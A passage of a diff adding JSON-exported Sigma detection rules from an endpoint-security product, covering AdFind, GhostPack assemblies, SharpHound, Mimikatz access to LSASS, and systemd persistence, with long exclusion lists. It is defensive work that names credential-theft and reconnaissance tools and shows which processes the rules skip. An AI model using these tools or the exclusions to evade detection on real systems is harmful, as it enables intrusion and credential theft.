+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "5731e436-612e-43cb-872d-82344b85d732",
+  "rule_name": "AdFind Binary Executed",
+  "rule_description": "Detects the execution of the AdFind binary.\nAdFind is a legitimate tool that has been used by numerous threat actors for conducting enumeration in an Active Directory network.\nIt is recommended to determine if this binary is expected to be used in your environment and to look for other suspicious actions on the host.\n",
+  "rule_creation_date": "2020-12-15",
+  "rule_modified_date": "2026-02-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1016",
+    "attack.t1018",
+    "attack.t1069.002",
+    "attack.t1087.002",
+    "attack.t1482"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "57784113-77b2-47c2-bc1f-def4af23b6be",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.085989Z",
+  "creation_date": "2026-03-23T11:45:34.085991Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.085995Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/GhostPack/",
+    "https://attack.mitre.org/techniques/T1620/"
+  ],
+  "name": "t1620_dotnet_assembly_load_known_malicious.yml",
+  "content": "title: GhostPack Malicious Dotnet Assembly Loaded\nid: 57784113-77b2-47c2-bc1f-def4af23b6be\ndescription: |\n    Detects the loading of assemblies belonging to SpecterOps' GhostPack tooling.\n    GhostPack is a collection of C# offensive security tools developed by SpecterOps for conducting penetration testing and red team operations.\n    Attackers may use these tools or their modified variants to compromise Active Directory environments.\n    It is recommended to investigate the process loading the assembly, analyze the specific GhostPack tool being executed, and check for indicators of credential theft or privilege escalation attempts.\nreferences:\n    - https://github.com/GhostPack/\n    - https://attack.mitre.org/techniques/T1620/\ndate: 2025/03/03\nmodified: 2025/06/18\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1620\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.MemoryExecution\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        AssemblyFlags: '0x0'\n        AssemblyName:\n            - 'seatbelt'\n            - 'certify'\n            - 'KeeTheft'\n            - 'lockless'\n            - 'rubeus'\n            - 'safetykatz'\n            - 'sharpchrome'\n            - 'sharpdpapi'\n            - 'sharpdump'\n            - 'sharproast'\n            - 'sharpup'\n            - 'sharpwmi'\n            - 'SharPersist'\n\n    filter_path:\n        ModuleILPath|contains: ':\\'\n\n    condition: selection and not 1 of filter_*\nlevel: critical\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "57784113-77b2-47c2-bc1f-def4af23b6be",
+  "rule_name": "GhostPack Malicious Dotnet Assembly Loaded",
+  "rule_description": "Detects the loading of assemblies belonging to SpecterOps' GhostPack tooling.\nGhostPack is a collection of C# offensive security tools developed by SpecterOps for conducting penetration testing and red team operations.\nAttackers may use these tools or their modified variants to compromise Active Directory environments.\nIt is recommended to investigate the process loading the assembly, analyze the specific GhostPack tool being executed, and check for indicators of credential theft or privilege escalation attempts.\n",
+  "rule_creation_date": "2025-03-03",
+  "rule_modified_date": "2025-06-18",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1620"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "57aa6d3a-cc08-4dc5-be27-c028af95a27d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "weak",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-24T07:14:08.689656Z",
+  "creation_date": "2026-03-23T11:45:34.626345Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.626349Z",
+  "rule_level": "medium",
+  "rule_confidence": "weak",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1543/002/",
+    "https://attack.mitre.org/techniques/T1037/",
+    "https://attack.mitre.org/techniques/T1547/"
+  ],
+  "name": "t1543_002_systemd_service_files_modified.yml",
+  "content": "title: SystemD Service File Created or Modified\nid: 57aa6d3a-cc08-4dc5-be27-c028af95a27d\ndescription: |\n    Detects when a systemd service file is created or modified.\n    Adversaries may create or modify systemd services to repeatedly execute malicious payloads as part of persistence.\n    It is recommended to verify the content of the service file and the process that modified it.\nreferences:\n    - https://attack.mitre.org/techniques/T1543/002/\n    - https://attack.mitre.org/techniques/T1037/\n    - https://attack.mitre.org/techniques/T1547/\ndate: 2023/12/15\nmodified: 2026/03/23\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1543.002\n    - attack.t1037\n    - attack.t1547\n    - classification.Linux.Source.Filesystem\n    - classification.Linux.Behavior.Persistence\n    - classification.Linux.Behavior.PrivilegeEscalation\nlogsource:\n    category: filesystem_event\n    product: linux\ndetection:\n    selection_write:\n        Kind: 'access'\n        Permissions: 'write'\n        Path|startswith:\n            - '/etc/systemd/system/'\n            - '/etc/systemd/user/'\n            - '/usr/lib/systemd/system/'\n            - '/usr/lib/systemd/user/'\n            - '/root/.config/systemd/system/'\n            - '/root/.config/systemd/user/'\n            - '/home/*/.config/systemd/system/'\n            - '/home/*/.config/systemd/user/'\n\n    selection_rename:\n        Kind: 'rename'\n        TargetPath|startswith:\n            - '/etc/systemd/system/'\n            - '/etc/systemd/user/'\n            - '/usr/lib/systemd/system/'\n            - '/usr/lib/systemd/user/'\n            - '/root/.config/systemd/system/'\n            - '/root/.config/systemd/user/'\n            - '/home/*/.config/systemd/system/'\n            - '/home/*/.config/systemd/user/'\n\n    # Package Managers\n    exclusion_dpkg:\n        - ProcessImage: '/usr/bin/dpkg'\n        - ProcessParentImage: '/usr/bin/dpkg'\n        - ProcessGrandparentImage: '/usr/bin/dpkg'\n        - ProcessAncestors|contains: '|/usr/bin/dpkg|'\n    exclusion_dpkg_cmds_bin:\n        - ProcessCommandLine|contains: '/usr/bin/dpkg-'\n        - ProcessParentCommandLine|contains: '/usr/bin/dpkg-'\n        - ProcessGrandparentCommandLine|contains: '/usr/bin/dpkg-'\n    exclusion_dpkg_cmds_sbin:\n        - ProcessCommandLine|contains: '/usr/sbin/dpkg-'\n        - ProcessParentCommandLine|contains: '/usr/sbin/dpkg-'\n        - ProcessGrandparentCommandLine|contains: '/usr/sbin/dpkg-'\n    exclusion_apt:\n        - ProcessImage: '/usr/bin/apt'\n        - ProcessParentImage: '/usr/bin/apt'\n        - ProcessGrandparentImage: '/usr/bin/apt'\n    exclusion_debconf:\n        - ProcessCommandLine|contains: '/usr/bin/debconf'\n        - ProcessParentCommandLine|contains: '/usr/bin/debconf'\n        - ProcessGrandparentCommandLine|contains: '/usr/bin/debconf'\n    exclusion_dpkg_postinstall:\n        - ProcessCommandLine|contains: '/var/lib/dpkg/info/*.postinst configure'\n        - ProcessParentCommandLine|contains: '/var/lib/dpkg/info/*.postinst configure'\n        - ProcessGrandparentCommandLine|contains: '/var/lib/dpkg/info/*.postinst configure'\n    exclusion_yum:\n        - ProcessCommandLine|startswith:\n            - '/usr/bin/python* /bin/yum '\n            - '/usr/bin/python* /usr/bin/yum '\n            - '/usr/bin/python* /usr/sbin/yum-cron'\n            - '/usr/libexec/platform-python /bin/yum '\n            - '/usr/libexec/platform-python /usr/bin/yum '\n        - ProcessParentCommandLine|startswith:\n            - '/usr/bin/python* /bin/yum '\n            - '/usr/bin/python* /usr/bin/yum '\n            - '/usr/bin/python* /usr/sbin/yum-cron'\n            - '/usr/libexec/platform-python /bin/yum '\n            - '/usr/libexec/platform-python /usr/bin/yum '\n        - ProcessGrandparentCommandLine|startswith:\n            - '/usr/bin/python* /bin/yum '\n            - '/usr/bin/python* /usr/bin/yum '\n            - '/usr/bin/python* /usr/sbin/yum-cron'\n            - '/usr/libexec/platform-python /bin/yum '\n            - '/usr/libexec/platform-python /usr/bin/yum '\n    exclusion_dnf:\n        - ProcessImage:\n            - '/usr/bin/dnf5'\n            - '/usr/bin/microdnf'\n        - ProcessCommandLine|startswith:\n            - '/usr/libexec/platform-python /bin/dnf '\n            - '/usr/libexec/platform-python /usr/bin/dnf '\n            - '/usr/libexec/platform-python /bin/dnf-automatic '\n            - '/usr/libexec/platform-python /usr/bin/dnf-automatic'\n            - '/usr/bin/python* /bin/dnf-automatic '\n            - '/usr/bin/python* /usr/bin/dnf-automatic'\n            - '/usr/bin/python* /bin/dnf '\n            - '/usr/bin/python* /usr/bin/dnf '\n            - 'dnf upgrade --refresh'\n            - 'dnf upgrade -y --refresh'\n            - '/usr/bin/python* /usr/bin/dnf-3 '\n            - '/usr/bin/dnf5 --installroot '\n            - '/usr/bin/dnf5 builddep --installroot '\n        - ProcessParentCommandLine|startswith:\n            - '/usr/libexec/platform-python /bin/dnf '\n            - '/usr/libexec/platform-python /usr/bin/dnf '\n            - '/usr/libexec/platform-python /bin/dnf-automatic '\n            - '/usr/libexec/platform-python /usr/bin/dnf-automatic'\n            - '/usr/bin/python* /bin/dnf-automatic '\n            - '/usr/bin/python* /usr/bin/dnf-automatic'\n            - '/usr/bin/python* /bin/dnf '\n            - '/usr/bin/python* /usr/bin/dnf '\n            - 'dnf upgrade --refresh'\n        - ProcessGrandparentCommandLine|startswith:\n            - '/usr/libexec/platform-python /bin/dnf '\n            - '/usr/libexec/platform-python /usr/bin/dnf '\n            - '/usr/libexec/platform-python /bin/dnf-automatic '\n            - '/usr/libexec/platform-python /usr/bin/dnf-automatic'\n            - '/usr/bin/python* /bin/dnf-automatic '\n            - '/usr/bin/python* /usr/bin/dnf-automatic'\n            - '/usr/bin/python* /bin/dnf '\n            - '/usr/bin/python* /usr/bin/dnf '\n            - 'dnf upgrade --refresh'\n\n    exclusion_tdnf:\n        ProcessImage: '/usr/bin/tdnf'\n\n    exclusion_rpm:\n        - ProcessImage: '/usr/bin/rpm'\n        - ProcessParentImage: '/usr/bin/rpm'\n        - ProcessAncestors|contains: '|/usr/bin/rpm|'\n        - ProcessGrandparentCommandLine: '/bin/sh /var/tmp/rpm-tmp.?????? ?'\n    exclusion_pacman:\n        ProcessImage: '/usr/bin/pacman'\n    exclusion_snapd:\n        ProcessImage:\n            - '/snap/snapd/*/usr/lib/snapd/snapd'\n            - '/snap/core/*/usr/lib/snapd/snapd'\n            - '/usr/lib/snapd/snapd'\n            - '/usr/libexec/snapd/snapd'\n    exclusion_apk:\n        ProcessImage:\n            - '/sbin/apk'\n            - '/usr/sbin/apk'\n\n    exclusion_template_ansible:\n        - ProcessCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/AnsiballZ_*.py'\n        - ProcessParentCommandLine:\n            - '/bin/sh -c /usr/bin/python* && sleep 0'\n            - '/bin/sh -c /usr/libexec/platform-python && sleep 0'\n            - '/bin/sh -c LANG=C /usr/bin/python* && sleep 0'\n            - '/bin/sh -c LANG=C /usr/libexec/platform-python && sleep 0'\n        - ProcessParentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n        - ProcessGrandparentCommandLine:\n            - '/bin/sh -c /usr/bin/python* && sleep 0'\n            - '/bin/sh -c /usr/libexec/platform-python && sleep 0'\n            - '/bin/sh -c LANG=C /usr/bin/python* && sleep 0'\n            - '/bin/sh -c LANG=C /usr/libexec/platform-python && sleep 0'\n        - ProcessGrandparentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n        - ProcessGrandparentParentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n        - ProcessGrandparentGrandparentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n\n    exclusion_ansible_path:\n        Path|contains: '/.ansible/tmp/ansible-tmp-'\n\n    exclusion_docker:\n        - ProcessImage:\n            - '/usr/bin/dockerd'\n            - '/usr/sbin/dockerd'\n            - '/usr/local/bin/dockerd'\n            - '/usr/local/bin/docker-init'\n            - '/usr/bin/dockerd-current'\n            - '/usr/sbin/dockerd-current'\n            - '/usr/bin/containerd'\n            - '/usr/local/bin/containerd'\n            - '/var/lib/rancher/k3s/data/*/bin/containerd'\n            - '/var/lib/rancher/rke2/data/*/bin/containerd'\n            - '/snap/docker/*/bin/dockerd'\n            - '/snap/microk8s/*/bin/containerd'\n            - '/usr/bin/dockerd-ce'\n            - '/usr/bin/conman-server'\n        - ProcessAncestors|contains:\n            - '/usr/bin/dockerd'\n            - '/usr/bin/containerd-shim'\n\n    exclusion_rootlesskit:\n        # /home/<redacted>/bin/rootlesskit --state-dir=/run/user/1022/dockerd-rootless --net=slirp4netns --mtu=65520 --slirp4netns-sandbox=auto --slirp4netns-seccomp=auto --disable-host-loopback --port-driver=builtin --copy-up=/etc --copy-up=/run --propagation=rslave /home/<redacted>/bin/dockerd-rootless.sh\n        - ProcessImage:\n            - '/usr/bin/rootlesskit'\n            - '/home/*/bin/rootlesskit'\n            - '/home/*/.bin/rootlesskit'\n        - ProcessParentImage:\n            - '/usr/bin/rootlesskit'\n            - '/home/*/bin/rootlesskit'\n            - '/home/*/.bin/rootlesskit'\n\n    exclusion_eset:\n        # rm /etc/systemd/system/eraagent.service\n        # mv ./setup/systemd.service /etc/systemd/system/eraagent.service\n        ProcessCommandLine|endswith: ' /etc/systemd/system/eraagent.service'\n        ProcessCurrentDirectory: '/opt/eset/RemoteAdministrator/Agent/'\n\n    exclusion_dracut:\n        ProcessParentCommandLine|startswith:\n            - '/bin/bash -p /bin/dracut '\n            - '/bin/bash -p /usr/bin/dracut '\n\n    exclusion_fsecure:\n        - ProcessImage|startswith:\n            - '/opt/f-secure/linuxsecurity/'\n            - '/opt/f-secure/baseguard/'\n        - ProcessParentImage|startswith:\n            - '/opt/f-secure/linuxsecurity/'\n            - '/opt/f-secure/baseguard/'\n        - ProcessGrandparentImage|startswith:\n            - '/opt/f-secure/linuxsecurity/'\n            - '/opt/f-secure/baseguard/'\n        - ProcessParentCommandLine|startswith: '/bin/bash /opt/f-secure/'\n        - ProcessGrandparentCommandLine|startswith: '/bin/bash /opt/f-secure/'\n\n    exclusion_rubycat:\n        ProcessGrandparentCommandLine|startswith: '/usr/bin/rubycat-skuldserver -c '\n\n    exclusion_swengine:\n        ProcessGrandparentImage: '/usr/bin/sw-engine'\n\n    exclusion_qemu:\n        ProcessImage: '/usr/bin/qemu-*-static'\n        ProcessParentImage: '/usr/bin/qemu-*-static'\n\n    exclusion_waagent:\n        ProcessCommandLine|startswith:\n            - 'python* -u /usr/sbin/waagent -run-exthandlers'\n            - '/usr/bin/python* /var/lib/waagent/Microsoft.CPlat.Core.LinuxPatchExtension-*/MsftLinuxPatchCore.py '\n            - '/usr/libexec/platform-python* /var/lib/waagent/Microsoft.CPlat.Core.LinuxPatchExtension-*/MsftLinuxPatchCore.py '\n            - '/usr/bin/python* /var/lib/waagent/Microsoft.Azure.Monitor.AzureMonitorLinuxAgent-*/agent.py '\n            - '/usr/libexec/platform-python* /var/lib/waagent/Microsoft.Azure.Monitor.AzureMonitorLinuxAgent-*/agent.py '\n\n    exclusion_qradar:\n        ProcessCommandLine: '/bin/bash /opt/qradar/bin/apply_tunings.sh'\n\n    exclusion_vbox:\n        ProcessCommandLine: '/bin/sh /sbin/vboxconfig'\n\n    exclusion_temp_file:\n        - ProcessImage:\n            - '/usr/bin/vi'\n            - '/usr/libexec/vi'\n            - '/usr/bin/vim'\n            - '/usr/bin/vim.nox'\n            - '/usr/bin/vim.basic'\n            - '/bin/nano'\n            - '/usr/bin/nano'\n          Path|endswith:\n            - '.swp'\n            - '.swx'\n        - ProcessImage: '/usr/bin/sed'\n          Path:\n            - '/etc/systemd/system/sed??????'\n            - '/etc/systemd/user/sed??????'\n            - '/usr/lib/systemd/system/sed??????'\n            - '/usr/lib/systemd/user/sed??????'\n            - '/root/.config/systemd/system/sed??????'\n            - '/root/.config/systemd/user/sed??????'\n            - '/home/*/.config/systemd/system/sed??????'\n            - '/home/*/.config/systemd/user/sed??????'\n        - ProcessImage: '/usr/bin/sed'\n          TargetPath:\n            - '/etc/systemd/system/sed??????'\n            - '/etc/systemd/user/sed??????'\n            - '/usr/lib/systemd/system/sed??????'\n            - '/usr/lib/systemd/user/sed??????'\n            - '/root/.config/systemd/system/sed??????'\n            - '/root/.config/systemd/user/sed??????'\n            - '/home/*/.config/systemd/system/sed??????'\n            - '/home/*/.config/systemd/user/sed??????'\n\n    exclusion_buildah:\n        ProcessCommandLine|startswith: 'storage-untar / /'\n\n    exclusion_commvault:\n        ProcessParentImage: '/opt/commvault*/Base64/cvflock'\n\n    exclusion_install:\n        ProcessImage: '/usr/bin/install'\n        Path:\n            - '/etc/systemd/system/vpnagentd.service'\n            - '/usr/lib/systemd/system/netdata.service'\n\n    exclusion_proxmox:\n        ProcessCommandLine|startswith: '/usr/bin/perl -T /usr/sbin/pct '\n\n    exclusion_sap:\n        ProcessParentImage: '/usr/sap/hostctrl/exe/saphostexec'\n\n    exclusion_image:\n        ProcessImage:\n            - '/usr/lib/systemd/system-generators/systemd-fstab-generator'\n            - '/usr/bin/rsync'\n            - '/usr/bin/cpio'\n            - '/opt/puppetlabs/puppet/bin/ruby'\n            - '/usr/bin/podman'\n            - '/opt/bitdefender-security-tools/bin/bdsecd'\n            - '/usr/bin/crio'\n            - '/usr/local/manageengine/uems_agent/bin/dcservice'\n            - '/kaniko/executor'\n            - '/usr/bin/elemental'\n            - '/opt/gitlab/embedded/bin/ruby'\n            - '/usr/bin/gitlab-runner'\n            - '/usr/libexec/packagekitd'\n            - '/usr/bin/unzip'\n            - '/usr/bin/update-alternatives'\n            - '/nix/store/*-coreutils-*/bin/coreutils'\n\n    exclusion_ancestors:\n        ProcessAncestors|contains:\n            - '|/opt/GC_Ext/GC/gc_linux_service|'\n            - '|/opt/bladelogic/*/NSH/bin/rscd_full|'\n            - '|/opt/bmc/bladelogic/RSCD/sbin/bldeploy|'\n            - '|/opt/.gxsetup/silent_install/install|'\n            - '|/usr/bin/lxc-start|'\n            - '|/opt/psa/admin/sbin/php_handlers_control|'\n            - '|/usr/NX/bin/nxpost|'\n\n    condition: 1 of selection_* and not 1 of exclusion_*\nlevel: medium\nconfidence: weak\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "57aa6d3a-cc08-4dc5-be27-c028af95a27d",
+  "rule_name": "SystemD Service File Created or Modified",
+  "rule_description": "Detects when a systemd service file is created or modified.\nAdversaries may create or modify systemd services to repeatedly execute malicious payloads as part of persistence.\nIt is recommended to verify the content of the service file and the process that modified it.\n",
+  "rule_creation_date": "2023-12-15",
+  "rule_modified_date": "2026-03-23",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1037",
+    "attack.t1543.002",
+    "attack.t1547"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "57c8c811-d9b6-430d-86bd-dbefad0c243b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.085137Z",
+  "creation_date": "2026-03-23T11:45:34.085139Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.085143Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/BloodHoundAD/SharpHound",
+    "https://github.com/BloodHoundAD/BloodHound/blob/master/Collectors/SharpHound.ps1",
+    "https://attack.mitre.org/software/S0521/",
+    "https://attack.mitre.org/techniques/T1059/001/"
+  ],
+  "name": "t1059_001_powershell_malicious_cmdlet_sharphound.yml",
+  "content": "title: Malicious PowerShell SharpHound Commandlet\nid: 57c8c811-d9b6-430d-86bd-dbefad0c243b\ndescription: |\n    Detects malicious commandlets related to SharpHound, the data ingestor of BloodHound.\n    This tool allows an attacker to do reconnaissance on an Active Directory and possibly reveal hidden relationships to perform and identify attacks within an AD environment.\n    It is recommended to investigate the PowerShell command as well as other malicious commands executed on the host to determine legitimacy.\nreferences:\n    - https://github.com/BloodHoundAD/SharpHound\n    - https://github.com/BloodHoundAD/BloodHound/blob/master/Collectors/SharpHound.ps1\n    - https://attack.mitre.org/software/S0521/\n    - https://attack.mitre.org/techniques/T1059/001/\ndate: 2022/07/19\nmodified: 2025/02/13\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1059.001\n    - attack.discovery\n    - attack.t1482\n    - attack.t1615\n    - attack.t1201\n    - attack.t1069.001\n    - attack.t1069.002\n    - attack.t1018\n    - attack.t1033\n    - attack.s0521\n    - classification.Windows.Source.PowerShellEvent\n    - classification.Windows.Script.PowerShell\n    - classification.Windows.HackTool.SharpHound\n    - classification.Windows.HackTool.BloodHound\n    - classification.Windows.Behavior.Discovery\nlogsource:\n    category: powershell_event\n    product: windows\ndetection:\n    selection:\n        PowershellCommand|contains: 'Invoke-BloodHound'\n\n    condition: selection\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "57c8c811-d9b6-430d-86bd-dbefad0c243b",
+  "rule_name": "Malicious PowerShell SharpHound Commandlet",
+  "rule_description": "Detects malicious commandlets related to SharpHound, the data ingestor of BloodHound.\nThis tool allows an attacker to do reconnaissance on an Active Directory and possibly reveal hidden relationships to perform and identify attacks within an AD environment.\nIt is recommended to investigate the PowerShell command as well as other malicious commands executed on the host to determine legitimacy.\n",
+  "rule_creation_date": "2022-07-19",
+  "rule_modified_date": "2025-02-13",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.discovery",
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1018",
+    "attack.t1033",
+    "attack.t1059.001",
+    "attack.t1069.001",
+    "attack.t1069.002",
+    "attack.t1201",
+    "attack.t1482",
+    "attack.t1615"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "57cf175a-4dbb-48e9-8aa8-8c6ed98c31e0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.085680Z",
+  "creation_date": "2026-03-23T11:45:34.085681Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.085686Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://threathunterplaybook.com/library/windows/mimikatz_openprocess_modules.html",
+    "https://github.com/gentilkiwi/mimikatz/",
+    "https://attack.mitre.org/techniques/T1003/001/"
+  ],
+  "name": "t1003_001_lsass_process_memory_access_mimikatz.yml",
+  "content": "title: LSASS Process Memory Accessed via Mimikatz\nid: 57cf175a-4dbb-48e9-8aa8-8c6ed98c31e0\ndescription: |\n    Detects an attempt to open LSASS.exe process memory by the Mimikatz binary.\n    Adversaries may attempt to access credential material stored in the process memory of the Local Security Authority Subsystem Service (LSASS).\n    These credential materials can be harvested by an administrative user or SYSTEM and used to conduct Lateral Movement or Privilege Escalation.\n    It is recommended to isolate affected systems, terminate unauthorized processes accessing LSASS memory, and conduct memory forensics to identify compromised credentials.\nreferences:\n    - https://threathunterplaybook.com/library/windows/mimikatz_openprocess_modules.html\n    - https://github.com/gentilkiwi/mimikatz/\n    - https://attack.mitre.org/techniques/T1003/001/\ndate: 2021/06/14\nmodified: 2025/01/20\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1003.001\n    - attack.t1078\n    - classification.Windows.Source.ProcessAccess\n    - classification.Windows.HackTool.Mimikatz\n    - classification.Windows.Behavior.CredentialAccess\n    - classification.Windows.Behavior.LSASSAccess\nlogsource:\n    product: windows\n    category: process_access\ndetection:\n    selection_base:\n        TargetImage|endswith: '\\lsass.exe'\n        GrantedAccess:\n            - '0x1010'\n            - '0x1410'\n    selection_mimikatz_binary:\n        - ProcessInternalName: 'mimikatz'\n        - ProcessOriginalFileName: 'mimikatz.exe'\n\n    condition: all of selection_*\nlevel: critical\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "57cf175a-4dbb-48e9-8aa8-8c6ed98c31e0",
+  "rule_name": "LSASS Process Memory Accessed via Mimikatz",
+  "rule_description": "Detects an attempt to open LSASS.exe process memory by the Mimikatz binary.\nAdversaries may attempt to access credential material stored in the process memory of the Local Security Authority Subsystem Service (LSASS).\nThese credential materials can be harvested by an administrative user or SYSTEM and used to conduct Lateral Movement or Privilege Escalation.\nIt is recommended to isolate affected systems, terminate unauthorized processes accessing LSASS memory, and conduct memory forensics to identify compromised credentials.\n",
+  "rule_creation_date": "2021-06-14",
+  "rule_modified_date": "2025-01-20",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1003.001",
+    "attack.t1078"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "585e591d-d328-427f-828f-53a20bee6a27",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
